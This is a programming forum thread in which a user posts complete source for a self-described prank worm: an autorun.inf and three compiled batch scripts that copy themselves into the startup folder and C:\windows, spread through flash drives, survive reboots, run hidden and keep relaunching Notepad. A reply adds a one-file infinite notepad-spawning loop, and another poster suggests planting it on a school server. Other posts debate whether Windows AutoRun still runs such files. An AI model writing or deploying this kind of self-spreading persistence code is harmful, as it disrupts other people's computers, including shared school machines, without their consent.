So, since there really isn't a category for this, but this one still had the word programming, I guess I'll post this here.
I had an evil breakthrough tonight. I was messing around with batch, and thought I'd make a little annoying script to prank my buddy. So I got started, but found that Microsoft had blocked the notepad command prompt hack thing. So I spent all of 2 minutes and made this code (It's 3 programs and an autorun actually):
autorun.inf
[autorun]
open a.exe

a.exe (compiled batch script)
copy notpad.exe c:\docume~1\alluse~1\startm~1\programs\startup
copy script.exe c:\windows

notpad.exe (compiled batch script)
notepad.exe
cd "c:\windows"
script.exe

script.exe
notepad.exe
cd "c:\docume~1\alluse~1\startm~1\programs\startup"
notpad.exe

The scripts are compiled with Bat-to-Exe, a free program that can make them run a processes in the background. So, it is completely invisable, and spreads through a flashdrive, and is delayed until you reboot. Plus, unless you boot in safe mode, it will start when you reboot every time! Anyway, I DON'T suggest you use this. It will mess up your computer. I really hope that Microsoft fixes this bug. It would be terrible if the notepad hack got revived! I deleted this off of all my disks, so it doesn't exist anymore as a program, just as source here.
What would be the point of this? Surely it could be easily killed by (1) disabling AutoRun or (2) popping open the task manager, correct? A quick scan doesn't reveal to me what exactly that set of three or four scripts does. Smile
This is why I don't use autorun Sad.
It is hidden as a process when it got compiled. You would have to suspect command prompt was involved, and stop it from processes. The alternitive is to just click on the a.exe and forget about the autorun. It opens notepad, and won't stop reopening it. It's really just a prank, not really serious. You can always put it into notepad and compile it yourself if your still curious, but I warn you against that Kerm! Wink It can be tricky to stop.
Makes sense, thanks for explaining that. And what exactly could Microsoft do to prevent this kind of thing? Not allow you to run notepad.exe from a script?

@Souvik: Exactly, me too. Smile
If I understand correctly, it is essentially this:


Code:
@echo off
:START
start notepad.exe
GOTO START


Why on earth did that take you 3 compiled batch files to pull off?

Also, compiling it doesn't make it "invisible" or anything, it's still going to be in the process explorer.

Likewise, autorun is disabled by default, and has been for the past like 5 years.
That's not true, it's enabled by default in Windows 7. I specifically have had to disable it each time I've installed everything up to and including Windows 7 in the past five years or so.
adept wrote:
I really hope that Microsoft fixes this bug.
They already have, but you probably didn't notice as you're running an ancient version of Windows. Not that you should be running as an administrator in XP either, for that matter, but at least that's no longer the default in Vista and above. Wink In addition, AutoRun was merged into AutoPlay in Vista, so there's no automatic execution - you need to select and confirm the AutoRun task from the popup dialog before it's run.
KermMartian wrote:
That's not true, it's enabled by default in Windows 7. I specifically have had to disable it each time I've installed everything up to and including Windows 7 in the past five years or so.


Uh, no it isn't. You're probably confusing autorun with that dialog that pops up asking what you want to do. Autorun was disabled as the default in like XP SP2 or something like that.
Oh, really? Autorun can't sneakily run a program anymore? That's very good to know. Smile
It takes 3 batch files to:
1) Copy the 2 files
2) Because Microsoft has already made attempts to keep this from happening by stopping repeated execution of one program in one file, I call the other one to open it. I DOESN'T work in one file.
Autoplay is the same thing as autorun. Just extra code is needed in the .inf file. Confirmation is something I haven't encountered on my computer. But I could just change the code. Anyway, most people still run XP. I know that every school computer does Razz. So even if the home user is safe, the school isn't...
adept wrote:
2) Because Microsoft has already made attempts to keep this from happening by stopping repeated execution of one program in one file, I call the other one to open it. I DOESN'T work in one file.


Yes it does. MS doesn't stop the same program from repeatedly launching a new program, you apparently just couldn't figure out how to do a loop in batch.

Go ahead, put the code I posted into a batch file and run it. It'll spam notepad like crazy. There isn't any reason for 3 files - 1 file works.

Quote:
Autoplay is the same thing as autorun. Just extra code is needed in the .inf file. Confirmation is something I haven't encountered on my computer. But I could just change the code. Anyway, most people still run XP. I know that every school computer does Razz. So even if the home user is safe, the school isn't...


No, it isn't. Autorun will run whatever the inf says to do. Autoplay looks at the inf, looks at the file types on the drive, and then asks the user what to do. *NOTHING* you put in the INF will force it to automatically run with autoplay.

And again, autorun was disabled by default in XP as well, SP2 I believe. If your school isn't patched, they are vulnerable to far more than your crappy batch scripts.
Really, SP2? I don't think that's necessarily true, can you back that up?
KermMartian wrote:
Really, SP2? I don't think that's necessarily true, can you back that up?


http://en.wikipedia.org/wiki/Autorun.inf#Inf_handling

Actually, autorun isn't supported *AT ALL* with XP for anything other than CD-ROMs, everything else uses AutoPlay. Autplay was already becoming standard with XP.
This is something you put onto a school server and watch it spread like wildfire. XD
  
Register to Join the Conversation
Have your own thoughts to add to this or any other topic? Want to ask a question, offer a suggestion, share your own programs and projects, upload a file to the file archives, get help with calculator and computer programming, or simply chat with like-minded coders and tech and calculator enthusiasts via the site-wide AJAX SAX widget? Registration for a free Cemetech account only takes a minute.

» Go to Registration page
Page 1 of 1
» All times are UTC - 5 Hours
 
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

 

Advertisement